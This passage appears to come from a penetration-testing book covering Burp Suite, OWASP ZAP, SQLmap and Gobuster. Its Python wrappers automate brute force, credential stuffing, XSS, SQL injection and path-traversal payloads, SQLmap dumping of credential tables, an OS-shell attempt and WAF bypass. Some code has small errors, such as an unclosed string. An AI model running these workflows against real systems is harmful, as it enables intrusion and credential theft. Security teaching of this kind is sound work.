                "Use parameterized queries",
                "Implement CSRF tokens",
                "Use HTTPS everywhere",
                "Regular security audits"
            ]
        }
        
        return report

# Example usage
tester = AuthenticationBypassTester('https://example.com/login')

print("[*] Testing SQL injection auth bypass...")
sql_results = tester.test_sql_injection_auth_bypass()

print("[*] Testing default credentials...")
default_results = tester.test_default_credentials()

print("[*] Testing parameter tampering...)
param_results = tester.test_parameter_tampering()

print("[*] Testing HTTP method tampering...")
method_results = tester.test_http_method_tampering()

print("[*] Testing session cookie strength...")
cookie_results = tester.test_session_cookie_weakness()

if tester.vulnerabilities:
    print(f"\n[!] Found {len(tester.vulnerabilities)} authentication vulnerabilities:")
    for vuln in tester.vulnerabilities:
        print(f"  - {vuln['type']}: {vuln.get('credentials', vuln.get('issue', ''))}")
        
    report = tester.generate_report()
    print(json.dumps(report, indent=2))

Chapter 14 — Web Exploitation Tools

This chapter covers the essential tools for web application security testing, from intercepting proxies to specialized vulnerability scanners.

14.1 Burp Suite

Burp Suite is the industry standard for web application security testing, providing a comprehensive platform for manual and automated testing.

14.1.1 Burp Suite Architecture and Setup

Burp Suite consists of multiple integrated tools that work together to support the entire testing process:

Core Components:

  • Proxy: Intercepts HTTP/HTTPS traffic between browser and target
  • Spider: Crawls web applications to discover content
  • Scanner: Automated vulnerability scanner (Pro version)
  • Intruder: Powerful tool for automated customized attacks
  • Repeater: Manual request manipulation and replay
  • Sequencer: Analyzes session token randomness
  • Decoder: Transforms encoded data
  • Comparer: Performs visual comparisons of data
  • Extender: Allows custom extensions and plugins

Installation and Configuration:

# Download Burp Suite from PortSwigger
# Community edition is free and sufficient for learning

# Java requirement
apt install openjdk-11-jre

# Run Burp Suite
java -jar burpsuite_community.jar

# Alternative: Use Kali's package
apt install burpsuite

Browser Configuration:

#!/usr/bin/env python3
# burp_config.py

import subprocess
import os
import json

class BurpConfigurator:
    def __init__(self):
        self.burp_host = '127.0.0.1'
        self.burp_port = 8080
        
    def configure_firefox(self, profile_path=None):
        """Configure Firefox to use Burp proxy"""
        
        if not profile_path:
            # Find Firefox profile
            firefox_profiles = os.path.expanduser('~/.mozilla/firefox/*.default*')
            import glob
            profiles = glob.glob(firefox_profiles)
            if profiles:
                profile_path = profiles[0]
                
        if profile_path:
            # Create prefs.js with proxy settings
            prefs_file = os.path.join(profile_path, 'prefs.js')
            
            with open(prefs_file, 'a') as f:
                f.write(f'''
user_pref("network.proxy.http", "{self.burp_host}");
user_pref("network.proxy.http_port", {self.burp_port});
user_pref("network.proxy.ssl", "{self.burp_host}");
user_pref("network.proxy.ssl_port", {self.burp_port});
user_pref("network.proxy.type", 1);
user_pref("network.proxy.no_proxies_on", "");
user_pref("security.enterprise_roots.enabled", true);
''')
            print(f"[+] Firefox configured to use Burp proxy at {self.burp_host}:{self.burp_port}")
            
    def configure_chrome(self):
        """Launch Chrome with Burp proxy"""
        
        chrome_cmd = [
            'google-chrome',
            f'--proxy-server=http://{self.burp_host}:{self.burp_port}',
            '--ignore-certificate-errors',
            '--user-data-dir=/tmp/chrome-burp'
        ]
        
        print(f"[+] Launching Chrome with proxy configuration")
        subprocess.Popen(chrome_cmd)
        
    def install_certificate(self, cert_path=None):
        """Install Burp certificate in browser"""
        
        if not cert_path:
            # Download certificate from Burp
            import requests
            cert_url = f'http://{self.burp_host}:{self.burp_port}/cert'
            response = requests.get(cert_url)
            
            if response.status_code == 200:
                cert_path = '/tmp/burp.der'
                with open(cert_path, 'wb') as f:
                    f.write(response.content)
                    
        # Install certificate (platform-specific)
        if os.path.exists(cert_path):
            if os.name == 'posix':
                # Linux - import to system trust store
                subprocess.run(['sudo', 'cp', cert_path, '/usr/local/share/ca-certificates/burp.crt'])
                subprocess.run(['sudo', 'update-ca-certificates'])
                print("[+] Burp certificate installed system-wide")
            else:
                print(f"[*] Install certificate manually from {cert_path}")

# Example usage
config = BurpConfigurator()
config.configure_firefox()
config.configure_chrome()
config.install_certificate()

14.1.2 Burp Suite Workflow

Basic Testing Workflow:

#!/usr/bin/env python3
# burp_workflow.py

class BurpWorkflow:
    def __init__(self):
        self.target_scope = []
        self.issues = []
        
    def define_scope(self, target_urls):
        """Define target scope in Burp"""
        
        for url in target_urls:
            self.target_scope.append({
                'url': url,
                'in_scope': True,
                'include_subdomains': True
            })
            
        print(f"[+] Defined scope with {len(self.target_scope)} targets")
        return self.target_scope
    
    def passive_scan_phase(self):
        """Passive scanning phase - just browse the application"""
        
        steps = [
            "1. Configure browser proxy to Burp",
            "2. Browse the application normally",
            "3. Click all links and submit all forms",
            "4. Test different user roles if applicable",
            "5. Check all functionality while Burp captures traffic",
            "6. Review Site Map for discovered content",
            "7. Note interesting parameters and endpoints"
        ]
        
        print("\n[*] Passive Scan Phase:")
        for step in steps:
            print(f"  {step}")
            
    def active_scan_phase(self):
        """Active scanning phase - use Burp Scanner (Pro)"""
        
        if self.has_pro_version():
            steps = [
                "1. Right-click on interesting items in Site Map",
                "2. Select 'Actively scan this branch'",
                "3. Configure scan settings",
                "4. Monitor scan progress in Scanner tab",
                "5. Review generated issues"
            ]
        else:
            steps = [
                "1. Manual testing with Repeater and Intruder",
                "2. Use Scanner in community edition for passive scanning only",
                "3. Focus on manual vulnerability discovery"
            ]
            
        print("\n[*] Active Scan Phase:")
        for step in steps:
            print(f"  {step}")
            
    def manual_testing_phase(self):
        """Manual testing with Burp tools"""
        
        tests = [
            {
                'tool': 'Repeater',
                'purpose': 'Manual request manipulation',
                'actions': [
                    'Modify parameters and observe responses',
                    'Test for injection vulnerabilities',
                    'Manipulate cookies and headers',
                    'Test parameter tampering'
                ]
            },
            {
                'tool': 'Intruder',
                'purpose': 'Automated attacks',
                'actions': [
                    'Brute force login forms',
                    'Enumerate directories and files',
                    'Fuzz parameters for vulnerabilities',
                    'Test for IDOR by enumerating IDs'
                ]
            },
            {
                'tool': 'Sequencer',
                'purpose': 'Token analysis',
                'actions': [
                    'Capture session tokens',
                    'Analyze randomness',
                    'Check for predictable patterns'
                ]
            },
            {
                'tool': 'Decoder',
                'purpose': 'Data transformation',
                'actions': [
                    'Decode/encode URL, Base64, HTML',
                    'Decrypt/encrypt data',
                    'Convert between formats'
                ]
            }
        ]
        
        print("\n[*] Manual Testing Phase:")
        for test in tests:
            print(f"\n  {test['tool']} - {test['purpose']}")
            for action in test['actions']:
                print(f"    • {action}")
                
    def extension_phase(self):
        """Use Burp Extensions"""
        
        useful_extensions = [
            'Active Scan++ - Enhanced scanning',
            'Autorize - Authorization testing',
            'Backslash Powered Scanner - Advanced scanning',
            'Collaborator Everywhere - OAST detection',
            'Content Type Converter - Request conversion',
            'CSRF Scanner - CSRF detection',
            'Decoder Improved - Enhanced decoding',
            'Hackvertor - Custom encoding/decoding',
            'JSON Web Tokens - JWT testing',
            'Logger++ - Enhanced logging',
            'Retire.js - JavaScript library vulnerabilities',
            'Turbo Intruder - High-speed Intruder'
        ]
        
        print("\n[*] Useful Burp Extensions:")
        for ext in useful_extensions:
            print(f"  • {ext}")
            
    def reporting_phase(self):
        """Generate reports"""
        
        report_types = [
            'HTML Report - Detailed findings with descriptions',
            'XML Report - Machine-readable format',
            'CSV Report - Spreadsheet format',
            'Issue Activity - Real-time issue log'
        ]
        
        print("\n[*] Reporting Phase:")
        for report in report_types:
            print(f"  • {report}")
            
    def has_pro_version(self):
        """Check if using Pro version"""
        # In practice, would check Burp's API
        return False
    
    def run_full_assessment(self, target_urls):
        """Run complete Burp assessment workflow"""
        
        print("=" * 60)
        print("BURP SUITE COMPREHENSIVE ASSESSMENT WORKFLOW")
        print("=" * 60)
        
        self.define_scope(target_urls)
        self.passive_scan_phase()
        self.active_scan_phase()
        self.manual_testing_phase()
        self.extension_phase()
        self.reporting_phase()
        
        print("\n" + "=" * 60)
        print("ASSESSMENT WORKFLOW COMPLETE")
        print("=" * 60)

# Example usage
workflow = BurpWorkflow()
workflow.run_full_assessment(['https://example.com'])

14.1.3 Burp Intruder Attack Types

#!/usr/bin/env python3
# burp_intruder.py

class BurpIntruderAttacks:
    def __init__(self):
        self.attack_types = {
            'sniper': 'Single payload set, one payload per request',
            'battering_ram': 'Single payload set, same payload in all positions',
            'pitchfork': 'Multiple payload sets, used in parallel',
            'cluster_bomb': 'Multiple payload sets, used in combination'
        }
        
    def sniper_attack(self, positions, payloads):
        """Sniper attack - tests each position with each payload"""
        
        print(f"[*] Sniper Attack: {len(positions)} positions × {len(payloads)} payloads = {len(positions) * len(payloads)} requests")
        
        requests_count = 0
        for position in positions:
            for payload in payloads:
                requests_count += 1
                
        return {
            'type': 'sniper',
            'positions': len(positions),
            'payloads': len(payloads),
            'total_requests': requests_count,
            'use_case': 'Testing one parameter at a time, like password brute force'
        }
    
    def battering_ram_attack(self, positions, payloads):
        """Battering ram - uses same payload in all positions"""
        
        print(f"[*] Battering Ram Attack: {len(payloads)} payloads, {len(positions)} positions per request")
        
        return {
            'type': 'battering_ram',
            'payloads': len(payloads),
            'total_requests': len(payloads),
            'use_case': 'Testing same value in multiple parameters, like CSRF token bypass'
        }
    
    def pitchfork_attack(self, payload_sets):
        """Pitchfork - parallel payload sets"""
        
        # Find minimum length among payload sets
        min_length = min(len(p) for p in payload_sets)
        
        print(f"[*] Pitchfork Attack: {len(payload_sets)} payload sets, {min_length} requests")
        
        return {
            'type': 'pitchfork',
            'payload_sets': len(payload_sets),
            'total_requests': min_length,
            'use_case': 'Credential stuffing with username:password pairs'
        }
    
    def cluster_bomb_attack(self, payload_sets):
        """Cluster bomb - combinatorial attack"""
        
        # Calculate total combinations
        total = 1
        for p in payload_sets:
            total *= len(p)
            
        print(f"[*] Cluster Bomb Attack: {len(payload_sets)} payload sets, {total} requests")
        
        return {
            'type': 'cluster_bomb',
            'payload_sets': len(payload_sets),
            'total_requests': total,
            'use_case': 'Comprehensive parameter fuzzing, directory brute force'
        }
    
    def generate_payloads(self, attack_type):
        """Generate appropriate payloads based on attack type"""
        
        payloads = {
            'sniper': ['admin', 'root', 'user', 'test'],
            'battering_ram': ['admin', 'true', '1', 'yes'],
            'pitchfork': {
                'usernames': ['admin', 'root', 'user'],
                'passwords': ['password', '123456', 'admin']
            },
            'cluster_bomb': {
                'parameters': ['id', 'user_id', 'uid'],
                'values': ['1', '2', '3', '4', '5']
            }
        }
        
        return payloads.get(attack_type, [])
    
    def suggest_attack(self, test_scenario):
        """Suggest appropriate attack type for scenario"""
        
        scenarios = {
            'password_bruteforce': 'sniper',
            'username_enumeration': 'sniper',
            'credential_stuffing': 'pitchfork',
            'parameter_fuzzing': 'cluster_bomb',
            'csrf_token_bruteforce': 'battering_ram',
            'idor_enumeration': 'sniper',
            'directory_bruteforce': 'cluster_bomb',
            'subdomain_bruteforce': 'sniper',
            'api_endpoint_fuzzing': 'cluster_bomb'
        }
        
        return scenarios.get(test_scenario, 'sniper')

# Example usage
intruder = BurpIntruderAttacks()

scenarios = ['password_bruteforce', 'credential_stuffing', 'parameter_fuzzing']

for scenario in scenarios:
    attack = intruder.suggest_attack(scenario)
    print(f"\n[+] {scenario}: Use {attack} attack")
    
    if attack == 'sniper':
        result = intruder.sniper_attack(['username'], ['admin', 'root', 'user'])
    elif attack == 'pitchfork':
        result = intruder.pitchfork_attack([['admin', 'root'], ['password', '123456']])
    elif attack == 'cluster_bomb':
        result = intruder.cluster_bomb_attack([['id', 'uid'], ['1', '2', '3']])
    elif attack == 'battering_ram':
        result = intruder.battering_ram_attack(['param1', 'param2'], ['test', '1', 'true'])
        
    print(f"  {result['total_requests']} requests - {result['use_case']}")

14.2 OWASP ZAP

OWASP Zed Attack Proxy (ZAP) is a free, open-source web application security scanner maintained by OWASP.

14.2.1 ZAP Installation and Configuration

#!/usr/bin/env python3
# zap_config.py

import subprocess
import time
import requests
import json

class ZAPConfigurator:
    def __init__(self, zap_host='localhost', zap_port=8080):
        self.zap_host = zap_host
        self.zap_port = zap_port
        self.zap_api_key = None
        self.zap_url = f"http://{zap_host}:{zap_port}"
        
    def start_zap(self):
        """Start ZAP daemon"""
        
        # Start ZAP in daemon mode
        cmd = [
            'zap.sh',
            '-daemon',
            '-port', str(self.zap_port),
            '-host', self.zap_host,
            '-config', 'api.disablekey=true',  # For testing only
            '-config', 'api.addrs.addr.name=.*',
            '-config', 'api.addrs.addr.regex=true'
        ]
        
        print(f"[*] Starting ZAP daemon on {self.zap_host}:{self.zap_port}")
        self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        
        # Wait for ZAP to start
        time.sleep(10)
        
        # Check if ZAP is running
        try:
            response = requests.get(f"{self.zap_url}/JSON/core/view/version/")
            if response.status_code == 200:
                print(f"[+] ZAP started successfully - Version: {response.json().get('version', 'unknown')}")
                return True
        except:
            print("[-] Failed to start ZAP")
            return False
            
    def stop_zap(self):
        """Stop ZAP daemon"""
        
        try:
            requests.get(f"{self.zap_url}/JSON/core/action/shutdown/")
            self.process.terminate()
            print("[+] ZAP stopped")
        except:
            print("[-] Error stopping ZAP")
            
    def configure_scope(self, target_url):
        """Configure scan scope"""
        
        # Include in scope
        response = requests.get(
            f"{self.zap_url}/JSON/context/action/includeInContext/",
            params={
                'contextName': 'Default Context',
                'regex': f'.*{target_url}.*'
            }
        )
        
        if response.status_code == 200:
            print(f"[+] {target_url} added to scope")
            
        # Enable scanners
        requests.get(
            f"{self.zap_url}/JSON/pscan/action/enableAllScanners/"
        )
        
        requests.get(
            f"{self.zap_url}/JSON/ascan/action/enableAllScanners/"
        )
        
    def set_session(self, session_name):
        """Set ZAP session name"""
        
        response = requests.get(
            f"{self.zap_url}/JSON/core/action/newSession/",
            params={'name': session_name, 'overwrite': 'true'}
        )
        
        if response.status_code == 200:
            print(f"[+] New session created: {session_name}")

class ZAPAutomation:
    def __init__(self, zap_config):
        self.zap = zap_config
        self.alerts = []
        
    def spider_scan(self, target_url, max_children=10):
        """Perform spider scan"""
        
        print(f"[*] Starting spider scan on {target_url}")
        
        # Start spider
        response = requests.get(
            f"{self.zap.zap_url}/JSON/spider/action/scan/",
            params={
                'url': target_url,
                'maxChildren': max_children,
                'contextName': 'Default Context'
            }
        )
        
        if response.status_code != 200:
            print("[-] Failed to start spider")
            return None
            
        scan_id = response.json().get('scan')
        
        # Monitor progress
        while True:
            status_response = requests.get(
                f"{self.zap.zap_url}/JSON/spider/view/status/",
                params={'scanId': scan_id}
            )
            
            if status_response.status_code == 200:
                status = status_response.json().get('status')
                print(f"  Spider progress: {status}%")
                
                if status == '100':
                    break
                    
            time.sleep(2)
            
        # Get results
        results_response = requests.get(
            f"{self.zap.zap_url}/JSON/spider/view/results/",
            params={'scanId': scan_id}
        )
        
        if results_response.status_code == 200:
            urls = results_response.json().get('urls', [])
            print(f"[+] Spider found {len(urls)} URLs")
            return urls
            
        return None
    
    def active_scan(self, target_url):
        """Perform active scan"""
        
        print(f"[*] Starting active scan on {target_url}")
        
        # Start active scan
        response = requests.get(
            f"{self.zap.zap_url}/JSON/ascan/action/scan/",
            params={
                'url': target_url,
                'recurse': 'true',
                'inScopeOnly': 'true',
                'scanPolicyName': 'Default Policy'
            }
        )
        
        if response.status_code != 200:
            print("[-] Failed to start active scan")
            return None
            
        scan_id = response.json().get('scan')
        
        # Monitor progress
        while True:
            status_response = requests.get(
                f"{self.zap.zap_url}/JSON/ascan/view/status/",
                params={'scanId': scan_id}
            )
            
            if status_response.status_code == 200:
                status = status_response.json().get('status')
                print(f"  Active scan progress: {status}%")
                
                if status == '100':
                    break
                    
            time.sleep(5)
            
        # Get alerts
        alerts_response = requests.get(
            f"{self.zap.zap_url}/JSON/core/view/alerts/",
            params={'baseurl': target_url}
        )
        
        if alerts_response.status_code == 200:
            alerts = alerts_response.json().get('alerts', [])
            self.alerts.extend(alerts)
            print(f"[+] Active scan found {len(alerts)} alerts")
            return alerts
            
        return None
    
    def ajax_spider(self, target_url):
        """Use AJAX spider for modern web apps"""
        
        print(f"[*] Starting AJAX spider on {target_url}")
        
        response = requests.get(
            f"{self.zap.zap_url}/JSON/ajaxSpider/action/scan/",
            params={'url': target_url}
        )
        
        if response.status_code != 200:
            print("[-] Failed to start AJAX spider")
            return None
            
        # Monitor progress
        while True:
            status_response = requests.get(
                f"{self.zap.zap_url}/JSON/ajaxSpider/view/status/"
            )
            
            if status_response.status_code == 200:
                status = status_response.json().get('status')
                print(f"  AJAX spider: {status}")
                
                if status == 'stopped':
                    break
                    
            time.sleep(2)
            
        # Get results
        results_response = requests.get(
            f"{self.zap.zap_url}/JSON/ajaxSpider/view/results/",
            params={'start': '0', 'count': '100'}
        )
        
        if results_response.status_code == 200:
            urls = results_response.json().get('results', [])
            print(f"[+] AJAX spider found {len(urls)} URLs")
            return urls
            
        return None
    
    def passive_scan_wait(self, timeout=300):
        """Wait for passive scan to complete"""
        
        print("[*] Waiting for passive scan to complete...")
        
        start_time = time.time()
        while time.time() - start_time < timeout:
            response = requests.get(
                f"{self.zap.zap_url}/JSON/pscan/view/recordsToScan/"
            )
            
            if response.status_code == 200:
                remaining = int(response.json().get('recordsToScan', 0))
                print(f"  Passive scan remaining: {remaining} records")
                
                if remaining == 0:
                    print("[+] Passive scan complete")
                    return True
                    
            time.sleep(5)
            
        print("[-] Passive scan timeout")
        return False
    
    def generate_report(self, output_file='zap_report.html'):
        """Generate HTML report"""
        
        response = requests.get(
            f"{self.zap.zap_url}/OTHER/core/other/htmlreport/"
        )
        
        if response.status_code == 200:
            with open(output_file, 'w') as f:
                f.write(response.text)
            print(f"[+] Report saved to {output_file}")
            
    def get_alerts_summary(self):
        """Get summary of alerts by risk level"""
        
        summary = {
            'High': 0,
            'Medium': 0,
            'Low': 0,
            'Informational': 0
        }
        
        for alert in self.alerts:
            risk = alert.get('risk', 'Informational')
            if risk in summary:
                summary[risk] += 1
                
        return summary
    
    def run_full_scan(self, target_url):
        """Run complete ZAP scan workflow"""
        
        print("=" * 60)
        print("OWASP ZAP AUTOMATED SCAN")
        print("=" * 60)
        
        # Configure
        self.zap.configure_scope(target_url)
        self.zap.set_session(f"scan_{int(time.time())}")
        
        # Spider scan
        spider_urls = self.spider_scan(target_url)
        
        # Wait for passive scan
        self.passive_scan_wait()
        
        # AJAX spider for dynamic content
        ajax_urls = self.ajax_spider(target_url)
        
        # Active scan
        alerts = self.active_scan(target_url)
        
        # Generate report
        self.generate_report()
        
        # Print summary
        summary = self.get_alerts_summary()
        print("\n[+] Scan Complete - Alert Summary:")
        print(f"  High: {summary['High']}")
        print(f"  Medium: {summary['Medium']}")
        print(f"  Low: {summary['Low']}")
        print(f"  Informational: {summary['Informational']}")
        
        return summary

# Example usage
config = ZAPConfigurator()

# Start ZAP
if config.start_zap():
    try:
        # Run automated scan
        zap = ZAPAutomation(config)
        results = zap.run_full_scan('https://example.com')
        
    finally:
        # Stop ZAP
        config.stop_zap()

14.2.2 ZAP Scripting and Customization

#!/usr/bin/env python3
# zap_scripts.py

class ZAPScripting:
    def __init__(self, zap_url):
        self.zap_url = zap_url
        
    def create_authentication_script(self):
        """Create authentication script for logged-in scanning"""
        
        script = """
// Authentication script for ZAP
// Save as: authenticate.js

var AuthenticationHelper = Java.type('org.zaproxy.zap.authentication.AuthenticationHelper');
var ScriptVars = Java.type('org.zaproxy.zap.script.ScriptVars');

function authenticate(helper, paramsValues, credentials) {
    print("Authenticating...");
    
    var username = credentials.getParam('username');
    var password = credentials.getParam('password');
    
    // Prepare login request
    var requestBody = 'username=' + encodeURIComponent(username) + 
                      '&password=' + encodeURIComponent(password);
    
    var msg = helper.prepareMessage();
    msg.setRequestHeader(
        'POST /login HTTP/1.1\\r\\n' +
        'Host: example.com\\r\\n' +
        'Content-Type: application/x-www-form-urlencoded\\r\\n' +
        'Content-Length: ' + requestBody.length + '\\r\\n'
    );
    msg.setRequestBody(requestBody);
    
    // Send request
    helper.sendAndReceive(msg);
    
    // Check if login successful
    if (msg.getResponseHeader().getStatusCode() == 302) {
        print("Authentication successful!");
        return msg;
    }
    
    print("Authentication failed");
    return null;
}

function getRequiredParamsNames() {
    return ["Username Parameter", "Password Parameter"];
}

function getOptionalParamsNames() {
    return [];
}

function getCredentialsParamsNames() {
    return ["username", "password"];
}
"""
        
        # Save script
        with open('zap_auth_script.js', 'w') as f:
            f.write(script)
            
        print("[+] Authentication script created: zap_auth_script.js")
        
    def create_passive_scan_script(self):
        """Create custom passive scan rule"""
        
        script = """
// Custom passive scan rule
// Save as: custom_passive.js

var PluginPassiveScanner = Java.type('org.zaproxy.zap.extension.pscan.PluginPassiveScanner');

function scan(helper, msg, uri) {
    var CUSTOM_HEADER = 'X-Custom-Header';
    
    // Get response headers
    var headers = msg.getResponseHeader();
    
    // Check for missing security headers
    var securityHeaders = [
        'X-Frame-Options',
        'X-Content-Type-Options',
        'Content-Security-Policy',
        'Strict-Transport-Security'
    ];
    
    for (var i = 0; i < securityHeaders.length; i++) {
        var header = securityHeaders[i];
        if (headers.getHeader(header) == null) {
            helper.newAlert()
                .setRisk(1)  // Low
                .setConfidence(2)  // Medium
                .setTitle('Missing ' + header + ' Header')
                .setDescription('The ' + header + ' header is not set')
                .setSolution('Set the ' + header + ' header appropriately')
                .setReference('https://owasp.org/...')
                .raise();
        }
    }
    
    // Check for sensitive information in response
    var patterns = [
        'password', 'credit card', 'ssn', 'secret'
    ];
    
    var body = new String(msg.getResponseBody().getBytes());
    for (var i = 0; i < patterns.length; i++) {
        if (body.toLowerCase().indexOf(patterns[i]) >= 0) {
            helper.newAlert()
                .setRisk(2)  // Medium
                .setConfidence(2)
                .setTitle('Sensitive Information Disclosure')
                .setDescription('Found "' + patterns[i] + '" in response')
                .raise();
            break;
        }
    }
}
"""
        
        with open('zap_passive_script.js', 'w') as f:
            f.write(script)
            
        print("[+] Passive scan script created: zap_passive_script.js")
        
    def create_active_scan_script(self):
        """Create custom active scan rule"""
        
        script = """
// Custom active scan rule
// Save as: custom_active.js

var ActivePlugin = Java.type('org.zaproxy.zap.extension.ascan.ActivePlugin');

function scan(helper, msg, uri) {
    var testParam = 'test';
    var testPayloads = [
        '<script>alert(1)</script>',
        "' OR '1'='1",
        '../../../etc/passwd'
    ];
    
    for (var i = 0; i < testPayloads.length; i++) {
        var payload = testPayloads[i];
        
        // Create new message with payload
        var testMsg = helper.prepareMessage();
        var requestUri = uri + '?' + testParam + '=' + encodeURIComponent(payload);
        testMsg.setRequestHeader('GET ' + requestUri + ' HTTP/1.1\\r\\nHost: ' + uri.getHost());
        
        // Send request
        helper.sendAndReceive(testMsg);
        
        // Check response
        var responseBody = new String(testMsg.getResponseBody().getBytes());
        
        if (responseBody.indexOf(payload) >= 0) {
            helper.newAlert()
                .setRisk(2)  // Medium
                .setConfidence(2)
                .setTitle('Reflected XSS')
                .setParam(testParam)
                .setAttack(payload)
                .setEvidence(payload)
                .setDescription('The parameter may be vulnerable to XSS')
                .setSolution('Implement proper output encoding')
                .raise();
        }
    }
}

function getDependency() {
    return null;
}
"""
        
        with open('zap_active_script.js', 'w') as f:
            f.write(script)
            
        print("[+] Active scan script created: zap_active_script.js")

# Example usage
zap_scripts = ZAPScripting('http://localhost:8080')
zap_scripts.create_authentication_script()
zap_scripts.create_passive_scan_script()
zap_scripts.create_active_scan_script()

14.3 SQLmap

SQLmap is the most powerful and widely used tool for automating SQL injection detection and exploitation.

14.3.1 SQLmap Fundamentals

#!/usr/bin/env python3
# sqlmap_automation.py

import subprocess
import json
import os
import re

class SQLmapAutomation:
    def __init__(self, target_url):
        self.target_url = target_url
        self.results = {}
        
    def basic_scan(self, param=None, method='GET'):
        """Run basic SQLmap scan"""
        
        cmd = ['sqlmap', '-u', self.target_url, '--batch', '--output-dir=./sqlmap_results']
        
        if param:
            cmd.extend(['-p', param])
            
        if method.upper() == 'POST':
            cmd.append('--method=POST')
            
        print(f"[*] Running basic SQLmap scan on {self.target_url}")
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        self.results['basic_scan'] = {
            'command': ' '.join(cmd),
            'output': result.stdout,
            'vulnerable': 'vulnerable' in result.stdout.lower()
        }
        
        return self.results['basic_scan']
    
    def advanced_scan(self, options):
        """Run advanced SQLmap scan with custom options"""
        
        cmd = ['sqlmap', '-u', self.target_url, '--batch', '--output-dir=./sqlmap_results']
        
        # Add advanced options
        advanced_options = {
            'level': '--level',
            'risk': '--risk',
            'dbms': '--dbms',
            'technique': '--technique',
            'threads': '--threads',
            'cookie': '--cookie',
            'data': '--data',
            'headers': '--headers'
        }
        
        for opt, value in options.items():
            if opt in advanced_options:
                cmd.extend([advanced_options[opt], str(value)])
                
        # Add enumeration flags
        if options.get('enumerate'):
            if 'dbs' in options['enumerate']:
                cmd.append('--dbs')
            if 'tables' in options['enumerate']:
                cmd.append('--tables')
            if 'columns' in options['enumerate']:
                cmd.append('--columns')
            if 'dump' in options['enumerate']:
                cmd.append('--dump')
                
        print(f"[*] Running advanced SQLmap scan")
        print(f"    Command: {' '.join(cmd)}")
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        return {
            'command': ' '.join(cmd),
            'output': result.stdout,
            'success': result.returncode == 0
        }
    
    def enumerate_databases(self):
        """Enumerate databases"""
        
        cmd = [
            'sqlmap', '-u', self.target_url,
            '--dbs', '--batch', '--output-dir=./sqlmap_results'
        ]
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse databases from output
        databases = []
        in_databases = False
        
        for line in result.stdout.split('\n'):
            if 'available databases' in line:
                in_databases = True
                continue
            if in_databases and line.strip() and '[*]' in line:
                db = line.split('[*]')[-1].strip()
                if db:
                    databases.append(db)
                    
        return databases
    
    def enumerate_tables(self, database):
        """Enumerate tables in database"""
        
        cmd = [
            'sqlmap', '-u', self.target_url,
            '-D', database, '--tables', '--batch',
            '--output-dir=./sqlmap_results'
        ]
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse tables from output
        tables = []
        in_tables = False
        
        for line in result.stdout.split('\n'):
            if f'Database: {database}' in line:
                in_tables = True
                continue
            if in_tables and line.strip() and '|' in line:
                parts = line.split('|')
                if len(parts) >= 2:
                    table = parts[1].strip()
                    if table and table != 'Table':
                        tables.append(table)
                        
        return tables
    
    def dump_table(self, database, table, columns=None):
        """Dump table contents"""
        
        cmd = [
            'sqlmap', '-u', self.target_url,
            '-D', database, '-T', table, '--dump', '--batch',
            '--output-dir=./sqlmap_results'
        ]
        
        if columns:
            cmd.extend(['-C', ','.join(columns)])
            
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse dumped data
        dump_file = None
        for line in result.stdout.split('\n'):
            if 'saved to' in line and 'dump' in line:
                dump_file = line.split('saved to')[-1].strip()
                break
                
        if dump_file and os.path.exists(dump_file):
            with open(dump_file, 'r') as f:
                data = f.read()
            return data
        else:
            return result.stdout
    
    def os_shell(self):
        """Attempt OS shell"""
        
        cmd = [
            'sqlmap', '-u', self.target_url,
            '--os-shell', '--batch', '--output-dir=./sqlmap_results'
        ]
        
        print("[*] Attempting to get OS shell...")
        print("[!] This is an interactive process")
        
        # This will be interactive - user needs to respond
        subprocess.run(cmd)
        
    def bypass_waf(self):
        """Run SQLmap with WAF bypass techniques"""
        
        cmd = [
            'sqlmap', '-u', self.target_url,
            '--random-agent', '--tamper=space2comment,between,randomcase',
            '--level=3', '--risk=2', '--batch',
            '--output-dir=./sqlmap_results'
        ]
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        return {
            'command': ' '.join(cmd),
            'vulnerable': 'vulnerable' in result.stdout.lower()
        }
    
    def generate_report(self, format='html'):
        """Generate SQLmap report"""
        
        cmd = [
            'sqlmap', '-u', self.target_url,
            '--batch', '--output-dir=./sqlmap_results'
        ]
        
        if format == 'html':
            cmd.append('--html-report')
        elif format == 'json':
            cmd.append('--json-report')
            
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        return result.stdout
    
    def run_complete_assessment(self):
        """Run complete SQLmap assessment"""
        
        print("=" * 60)
        print("SQLMAP COMPLETE ASSESSMENT")
        print("=" * 60)
        
        # Basic scan
        print("\n[*] Phase 1: Basic Vulnerability Scan")
        basic = self.basic_scan()
        
        if not basic['vulnerable']:
            print("[-] No SQL injection detected with basic scan")
            print("[*] Attempting advanced scan with WAF bypass...")
            advanced = self.bypass_waf()
            if not advanced['vulnerable']:
                print("[-] Still no vulnerability detected. Exiting.")
                return
                
        print("[+] SQL injection confirmed!")
        
        # Database enumeration
        print("\n[*] Phase 2: Database Enumeration")
        databases = self.enumerate_databases()
        print(f"[+] Found databases: {databases}")
        
        # Table enumeration
        print("\n[*] Phase 3: Table Enumeration")
        for db in databases[:3]:  # Limit to first 3 databases
            print(f"\n[*] Enumerating tables in {db}")
            tables = self.enumerate_tables(db)
            print(f"  Found tables: {tables}")
            
            # Look for interesting tables
            interesting_tables = ['users', 'admin', 'credentials', 'passwords']
            for table in tables:
                if any(interest in table.lower() for interest in interesting_tables):
                    print(f"\n[!] Found interesting table: {table}")
                    print(f"[*] Dumping {table}...")
                    data = self.dump_table(db, table)
                    print(data[:500])  # Print first 500 chars
                    
        print("\n[+] Assessment complete!")
        print("[*] Check sqlmap_results/ directory for detailed output")

# Example usage
sqlmap = SQLmapAutomation('https://example.com/page.php?id=1')

# Run basic scan
basic_results = sqlmap.basic_scan(param='id')
print(json.dumps(basic_results, indent=2))

# If vulnerable, enumerate
if basic_results['vulnerable']:
    databases = sqlmap.enumerate_databases()
    print(f"Databases: {databases}")
    
    if databases:
        tables = sqlmap.enumerate_tables(databases[0])
        print(f"Tables in {databases[0]}: {tables}")
        
# Run complete assessment
sqlmap.run_complete_assessment()

14.4 Gobuster

Gobuster is a fast directory/file and DNS busting tool written in Go.

14.4.1 Gobuster Usage and Automation

#!/usr/bin/env python3
# gobuster_automation.py

import subprocess
import json
import os
import threading
